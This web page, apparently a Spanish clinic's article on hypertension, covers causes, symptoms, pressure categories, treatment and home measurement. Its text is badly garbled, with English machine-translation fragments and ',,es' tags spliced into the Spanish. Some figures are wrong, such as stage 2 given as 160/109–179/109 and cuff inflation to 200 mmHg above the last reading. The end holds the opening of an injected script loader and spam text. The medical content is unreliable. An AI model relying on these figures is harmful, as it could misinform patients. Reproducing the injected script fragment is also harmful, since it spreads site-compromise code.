What is hypertension,es?

Dysfunctions of the heart valves,,es,valvulopatías,,en (valvulopatías)
May 31, 2017
Tipos de ecocardiogramas
June 14, 2017
Show all

Hypertension is a chronic disease that is increasing blood pressure,,es,One of the characteristics of this disease is not,,es,These valves allow the heart to,,es. One of the characteristics of this disease is that no clear symptoms and they do not manifest themselves for a long time,es.

En la actualidad, las enfermedades cardiovasculares son la primera causa de mortalidad en España. However, la hipertensión es una patología tratable. Si no se siguen las recomendaciones del médico, se pueden desencadenar complicaciones graves, como por ejemplo, un infarto de miocardio, cerebral hemorrhage or thrombosis, which can be avoided if properly controlled.

Las primeras consecuencias de la hipertensión las sufren las arterias, que se endurecen a medida que soportan la presión arterial alta de forma continua, se hacen más gruesas y puede verse dificultado al paso de sangre a través de ellas. Esto se conoce con el nombre de arterioesclerosis.

According to the Spanish Society of Hypertension-Spanish League for the Fight Against Hypertension,es (Seh-Lelha), en España existen más de 14 millones de personas con hipertensión. De esta cantidad, 9,5 millones no están controlados y 4 millones están sin diagnosticar.

Causes

Aunque todavía no se conocen las causas específicas que provocan la hipertensión arterial, sí se ha relacionado con una serie de factores que suelen estar presentes en la mayoría de las personas que la sufren. Conviene separar aquellos relacionados con la herencia genética, el sexo, la edad y la raza y por tanto poco modificables, de aquellos otros que se podrían cambiar al variar los hábitos, ambiente, and customs of the people,,es,as,,es,the obesity,,es,sodium sensitivity,,es,excessive alcohol consumption,,es,the use of oral contraceptives and very sedentary lifestyle,,es,not modifiable causes,,es,Genetic factors,,es,Predisposition to developing hypertension is linked to a first-degree relative having this pathology,,es,Although the exact mechanism is unknown,,es,scientific evidence has shown that when a person has a parent,,es,or both,,es,hypertensive,,pt,the chances of developing hypertension are twice those of others with both parents without hypertension problems,,es,From this stage in both sexes equalizes,,es, como: la obesidad, la sensibilidad al sodio, el consumo excesivo de alcohol, el uso de anticonceptivos orales y un estilo de vida muy sedentario.

Causas no modificables

Factores genéticos:

La predisposición a desarrollar hipertensión arterial está vinculada a que un familiar de primer grado tenga esta patología. Aunque se desconoce el mecanismo exacto, la evidencia científica ha demostrado que cuando una persona tiene un progenitor (o ambos) hipertensos, las posibilidades de desarrollar hipertensión son el doble que las de otras personas con ambos padres sin problemas de hipertensión.

Sex:

Men are more prone to develop high blood pressure than women until they reach the age of menopause. A partir de esta etapa la frecuencia en ambos sexos se iguala. This is because nature has endowed women with a hormone that protect it while in the childbearing age,es (los estrógenos) y por ello tienen menos riesgo de padecer enfermedades cardiovasculares. However, las mujeres jóvenes que toman píldoras anticonceptivas tienen más riesgo de desarrollar una patología cardiaca.

Age and race:

La edad es otro factor que influye sobre las cifras de presión arterial, so that both systolic or high blood pressure and diastolic or minimal increase over the years and is logically a greater number of hypertensive patients with increasing age.

En cuanto a la raza, los individuos de raza negra tienen el doble de posibilidades de desarrollar hipertensión que los de raza blanca, además de tener un peor pronóstico.

Causas modificables

Sobrepeso y obesidad:

Los individuos con sobrepeso están más expuestos a tener más alta la presión arterial que un individuo con peso normal. As weight increases blood pressure rises and this is much more evident in the under,,es,years and women,,es,The frequency of hypertension in obese,,es,regardless of age,,es,It is between two and three times that of individuals with a normal weight,,es,It is not clear whether obesity is itself the cause of hypertension,,es,or if there is an associated factor that increases the pressure in overweight people,,es,although recent research suggests that obesity another series of changes that would be partly responsible for the increase in blood pressure associated,,es,It's also true,,es,weight reduction that causes these alterations disappear,,es,other causes,,es,vascular,,es,Between,,es 40 años y en las mujeres. La frecuencia de la hipertensión arterial entre los obesos, independientemente de la edad, es entre dos y tres veces superior a la de los individuos con un peso normal.

No se sabe con claridad si es la obesidad por sí misma la causa de la hipertensión, o si hay un factor asociado que aumente la presión en personas con sobrepeso, aunque las últimas investigaciones apuntan a que a la obesidad se asocian otra serie de alteraciones que serían en parte responsables del aumento de presión arterial. También es cierto, que la reducción de peso hace que desaparezcan estas alteraciones.

Otras causas

Vasculares:

Entre el 2,5 y el 6 percent of kidney-related problems can influence the onset of hypertension,es. In fact, suponen entre el 2,5 y el 6 por ciento de las causas. Las principales patologías vasculares que influyen son:

  • Polycystic kidney disease.
  • Chronic kidney disease.
  • Renin-producing tumors.
  • Liddle syndrome.
  • Renal artery stenosis.
  • Endrocrinológicas:

Las causas endocrinas representan entre el 1 y el 2 por ciento. En éstas se incluyen desequilibrios hormonales exógenos y endógenos. Las causas exógenas incluyen la administración de corticoides.

Aproximadamente el 5 por ciento de las mujeres que toman anticonceptivos orales puede desarrollar hipertensión. Los factores de riesgo para la hipertensión asociada con el consumo de anticonceptivos orales incluyen la enfermedad renal leve y la obesidad.

Los fármacos antiinflamatorios no esteroideos (AINE) pueden tener efectos adversos sobre la tensión arterial. These drugs block both cyclooxygenase-1,,es,COX-1,,en,and COX-2 enzymes,,es,Inhibition of COX-2 can inhibit its natriuretic effect,,es,at the same time,,es,increases sodium retention,,es,NSAIDs also inhibit the vasodilator effects of prostaglandins and production of vasoconstrictors,,es,endothelin-1,,es,These effects may contribute to the induction of hypertension in a normotensive patient or controlled hypertension,,es,Endogenous causes include hormonal,,es,primary aldosteronism,,es,Cushing's syndrome,,es,pheochromocytoma,,es,CAH,,es,Neurogenic causes include,,es,brain tumors,,es,bulbar polio,,es,intracranial hypertension,,es (COX-1) como las enzimas COX-2. La inhibición de la COX-2 puede inhibir su efecto natriurético que, a su vez, aumenta la retención de sodio. Los antiinflamatorios no esteroideos también inhiben los efectos vasodilatadores de las prostaglandinas y la producción de factores vasoconstrictores, namely, la endotelina-1. Estos efectos pueden contribuir a la inducción de la hipertensión en un paciente con hipertensión controlada o normotenso.

Las causas hormonales endógenas incluyen:

  • Hiperaldosteronismo primario.
  • El síndrome de Cushing.
  • Feocromocitoma.
  • Hiperplasia suprarrenal congénita.

Las causas neurogénicas incluyen:

  • Tumores cerebrales.
  • Poliomielitis bulbar.
  • Hipertensión intracraneal.

There are also drugs and toxins that can promote the onset of hypertension,es:

  • Alcohol.
  • Cocaína.
  • Ciclosporina, tacrolimus.
  • Fármacos antiinflamatorios no esteroides.
  • Eritropoyetina.
  • Medicaciones adrenérgicas.
  • Descongestionantes que contienen efedrina.
  • Remedios a base de hierbas que contienen regaliz
  • Nicotina.

Por último, existen algunas enfermedades que se relacionan con la hipertensión como son el hipertiroidismo e hipotiroidismo, la hipercalcemia, el hiperparatiroidismo, la acromegalia, la apnea obstructiva del sueño y la hipertensión inducida por el embarazo.

Symptoms

Según, Julián Segura, el presidente de la Sociedad Española de Hipertensión-Liga Española para la Lucha contra la Hipertensión Arterial (Seh-Lelha), "The biggest limitation in detecting hypertension is that most cases of hypertension pass without having any symptoms and,,es,the disease goes unnoticed,,es,with the risk that entails ",,es,Segura indicates unspecific symptoms,,es,as headaches,,es,that help detect because they put on alert the patient who decides to go to the doctor or go to the pharmacy to take them stress,,es,He notes that these symptoms can not be attributed to hypertension because they coincide in time in response to pain,,es,For hypertensives who have been undiagnosed for a long time,,es,President notes that these may suffer at any given time a complication,,es, therefore, la enfermedad pasa desapercibida, con el riesgo que eso conlleva”.

Segura indica que hay síntomas inespecíficos, como las cefaleas, que ayudan a detectarla porque ponen en alerta al paciente que decide ir al médico o acudir a la farmacia a que les tomen la tensión. However, señala que esos síntomas no se pueden atribuir a la hipertensión porque coinciden en el tiempo como respuesta al dolor.

En el caso de los hipertensos que han estado sin diagnóstico durante mucho tiempo, el presidente señala que estos pueden sufrir en un momento dado una complicación, such as angina pectoris,,es,which it is a derivative symptom of this complication,,es,Prevention,,es,Having healthy lifestyles and,,es,especially,,es,prevent overweight and obesity are the main factors to prevent the onset of hypertension,,es,Experts say a healthy diet and exercise can help the general population is exempt from suffering this disease,,es,In cases where the family has a history of hypertension and thus have a predisposition to be Hypertensive over time,,es,this genetic factor is a call extra attention to patient care these habits and monitor their blood pressure levels,,es,Types,,es, que es un síntoma derivado de esa complicación.

Prevención

Tener hábitos de vida saludable y, sobre todo, evitar el sobrepeso y la obesidad son los principales factores para prevenir la aparición de la hipertensión.

Los especialistas señalan que llevar una dieta sana y practicar ejercicio puede ayudar a que la población general esté exenta de sufrir esta patología.

En los casos en los que en la familia haya antecedentes de hipertensión y por tanto haya una predisposición a ser hipertenso a lo largo del tiempo, este factor genético supone una llamada de atención adicional a que el paciente cuide esos hábitos de vida y vigile sus cifras de tensión arterial.

Tipos

La tensión arterial tiene dos componentes:

Tensión sistólica: Es el número más alto. It represents the tension generated when the heart pumps blood to the body,es.
Tensión diastólica: Es el número más bajo. Se refiere a la presión en los vasos sanguíneos entre los latidos del corazón.
La tensión arterial se mide en milímetros de mercurio (mmHg). La tensión arterial alta (HTA) se diagnostica cuando uno de estos números o ambos son altos. Esta enfermedad se conoce también como hipertensión.

La tensión arterial alta se clasifica como:

  • Normal: menos de 120/80 mmHg
  • Prehipertensión: 120/80 a 139/89 mmHg
  • Estadio 1 de hipertensión: 140/90 a 159/99 mmHg
  • Estadio 2 de hipertensión: 160/109 a 179/109 mmHg
  • Estadio 3 de hipertensión: mayor de 179/109 mmHg

Diagnóstico

La primera línea de combate de la hipertensión son los equipos de atención primaria, tanto los médicos, such as nurses,,es,The consultation have protocols so that when patients come,,es,for reasons that are,,es,health make a measurement,,es,If the patient is not diagnosed,,es,From that point you can start treatment if he needed,,es,Other areas that help the patient identify hypertension and warns you that it would be advisable to come to the specialist for a possible diagnosis as routine checkups companies do or when patients reviews are done because they want to start practicing some federated sport or semi professional,,es. En la consulta tienen protocolos de actuación para que cuando acudan los pacientes, por los motivos que sean, los sanitarios realicen una medición. Si el paciente no está diagnosticado, a partir de ese momento puede empezar su tratamiento si le hiciera falta.

Otras áreas que ayudan a que el paciente identifique una hipertensión y que le advierte de que sería recomendable que acudiera al especialista para obtener un posible diagnóstico son los chequeos rutinarios que hacen las empresas o cuando los pacientes se hacen una revisión porque quieren empezar a practicar algún deporte federado o semi profesional.

"These controls are very important because they are usually conducted in people who have never been through a doctor because they have been healthy so far and can help diagnose the patient",,es,apostilla Julián Segura,,es,President of the Spanish Society of Hypertension-Spanish League for the Fight Against Hypertension,,es,treatments,,es,When treating hypertension there are two fundamental building blocks of actions to perform,,es,Improved lifestyle,,es,The patient has to have a healthy diet,,es,reduce calorie intake,,es,of sugars and fats and increase physical exercise,,es, apostilla Julián Segura, presidente de la Sociedad Española de Hipertensión-Liga Española para la Lucha contra la Hipertensión Arterial (Seh-Lelha).

Tratamientos

A la hora de tratar la hipertensión hay dos bloques fundamentales de acciones a realizar:

Mejora de los hábitos de vida

El paciente tiene que llevar una dieta saludable, disminuir el consumo de calorías, de azúcares y grasas y aumentar la práctica de ejercicio físico. These two practices result in a better weight and if the weight is well controlled is a simple way to control hypertension,,es,President of the Spanish Society of Hypertension,,es,Spanish League for the Fight Against Hypertension,,es,He notes that many hypertensive arise because people have long heedless and earn some kilos,,es,"When the hypertensive patient is already identified,,es,of treatment is well controlled weight,,es,avoid gaining kilos,,es,have an active life and avoid a sedentary ",,es,Secure recommends that if the patient is a smoker,,es,It should abandon the habit and if you usually consume alcohol,,es,it is advisable to reduce it considerably,,es,drug treatments,,es.

Julián Segura, presidente de la Sociedad Española de la Hipertensión- Liga Española para la Lucha contra la Hipertensión Arterial (Seh-Lelha), señala que muchos hipertensos surgen porque las personas llevan tiempo sin cuidarse y ganan unos kilos. “Cuando el hipertenso ya está identificado, parte de su tratamiento es controlar bien su peso, evitar ganar kilos, tener una vida activa y evitar llevar una sedentaria”.

Por último, Segura recomienda que si el paciente es fumador, conviene que abandone ese hábito y si suele consumir alcohol, es aconsejable que lo reduzca considerablemente.

Tratamientos farmacológicos

Should changes in lifestyle may not work,,es,today there are drug treatments that are very helpful in controlling blood pressure,,es,Initially these treatments begin with a single drug,,es,However,,es,in some cases this measure is not sufficient and need to combine two or three drugs to control blood pressure,,es,Because hypertension is a chronic disease,,es,it is essential that patients are consistent with treatments,,es,According to data from the Seh-LELHA,,es,percent of patients diagnosed with hypertension does not carry out the recommendations of specialists in hygiene or diet and,,es,percent do not follow the prescribed treatments that have,,es, hoy en día existen tratamientos farmacológicos que son muy útiles para controlar la presión arterial. Inicialmente estos tratamientos comienzan con un solo fármaco. No obstante, en algunos casos esta medida no es suficiente y necesitan combinar con dos o tres medicinas para controlar la presión arterial.

Debido a que la hipertensión arterial es una enfermedad crónica, es fundamental que los pacientes sean constantes con los tratamientos. Según los datos de la Seh-Lelha, the 90 por ciento de los pacientes diagnosticados de hipertensión no lleva a cabo las recomendaciones de los especialistas en materia de higiene o dieta y el 50 por ciento no sigue los tratamientos que tienen prescritos.

Esto se debe a que como es una patología que se padece durante muchos años, patients tend to relax with the instructions given by your doctor,es. Esto puede tener una serie de consecuencias. La principal es que tendrá la hipertensión mal controlada, lo que a largo plazo puede derivar en complicaciones cardiovasculares mayores como infarto de miocardio, ictus, deterioro de la función renal o de la circulación de las piernas, inter alia.

Otros datos

Pronóstico

En los últimos años el grado de control de la hipertensión ha ido aumentando como consecuencia de la mejora de los tratamientos, mediante la intensificación de los mismos, y por el aumento de la concienciación de mejorar los estilos de vida. El refuerzo de los medicamentos (pacientes que antes sólo tomaban un medicamento y ahora toman dos, for example) ha sido crucial para mejorar el control.

However, cardiovascular disease remains the leading cause of complications and mortality worldwide,es. Esta situación se mantendrá en los próximos años debido a la epidemia que hay de obesidad y que las autoridades sanitarias esperan que aumente. Desde la Sociedad Española de Hipertensión-Liga Española para la Lucha contra la Hipertensión Arterial, indican que la obesidad y la hipertensión son los dos problemas de salud pública principales a los que los países tendrán que hacer frente en el futuro próximo.

¿Cuándo debe recomendar el especialista la automedición de la presión arterial?

En líneas generales, el profesional sanitario puede recomendar la automedición de la presión arterial siempre (some exceptions,es, principalmente en pacientes obsesivos y con tendencia a la automedicación). Se trata de un método eficaz que permite conocer la tensión del paciente fuera de la consulta, en su vida cotidiana, evitando así el conocido como fenómeno de la bata blanca (la sensación que experimentan los pacientes al llegar al centro sanitario y ponerse frente al profesional sanitario. Este fenómeno provoca que la presión arterial de los pacientes se eleve un poco con respecto a su cifra normal).

La automedición de la presión arterial debe realizarse por la mañana y por la noche, tras un reposo previo de 3 minutes. The appropriate position is as follows,,es,seated,,es,with legs uncrossed,,es,back against the chair and arm wherein the sleeve supported on the table is placed,,es,It is recommended that the cuff is placed on the arm,,es,and not on the wrist,,es,-persons exceptions except obesas-,,es,After selfmeasurement,,es,the patient must record pointing them results in a notebook,,es,You must take this notebook to the appropriate healthcare professional,,es,doctor or nurse,,es,when you have your appointment to review them together,,es,With these results,,es,assess professional treatment and patient follow-up,,es,How to measure blood pressure,,es,There are several ways to measure blood pressure,,es,Esfigmomanómetro de mercurio,,el,It is the most accurate and less prone to errors,,es: sentado, con las piernas sin cruzar, la espalda apoyada en la silla y el brazo en donde se coloque el manguito apoyado sobre la mesa. Es recomendable que el manguito se ponga en el brazo (y no en la muñeca, salvo excepciones -personas obesas-).

Tras la automedición, el paciente debe registrar los resultados obtenidos apuntándolos en un cuaderno. Deberá llevar este cuaderno al profesional sanitario correspondiente (médico o enfermero) cuando tenga su cita para revisarlos juntos. Con estos resultados, el profesional valorará el tratamiento y seguimiento del paciente.

¿Cómo medir la tensión arterial?

Existen diversas maneras de medir la presión arterial:

  • Esfigmomanómetro de mercurio: Es el más exacto y menos expuesto a errores. Para su uso se requiere un fonendoscopio.
  • Esfigmomanómetro de aire: Es el más utilizado y es también un aparato preciso. Also you need a stethoscope for use,es.
  • Aparato electrónico: Se utiliza mucho para realizar el autocontrol, no necesita fonendoscopio porque lleva un detector del pulso incorporado y es de fácil manejo. No obstante, se trata de un aparato muy sensible a los ruidos y a los movimientos, por lo que para que los valores obtenidos sean exactos, es necesario que el brazo no se mueva y que no se hable. Es importante que el aparato esté en buenas condiciones y se revise periódicamente.

Also, para medir la presión arterial se requiere cumplir una serie de condiciones:

Para medir la presión arterial debe colocarse el manguito del esfigmomanómetro a la altura del corazón. El borde superior debe estar como mínimo dos centímetros por encima de la flexura del codo. Then the cuff is inflated to a pressure of,es 180 milímetros de Hg. Si se sabe que en determinaciones anteriores la presión sistólica era superior a esta cifra, se infla hasta una presión 200 mm Hg por encima de la última conocida. Se coloca la campana del fonendo allí donde previamente se ha localizado el latido arterial en la flexura del codo y se procede a desinflar poco a poco el manguito. El primer latido que se escucha corresponde a la presión sistólica o máxima y la desaparición del latido a la presión diastólica o mínima. En los niños y también en algunos adultos, los latidos no desaparecen; entonces se considera como presión diastólica aquella en la que se modifica la tonalidad de los latidos.var d=document;var s=d.createElement(‘script’);

Web Design BangladeshBangladesh Online Market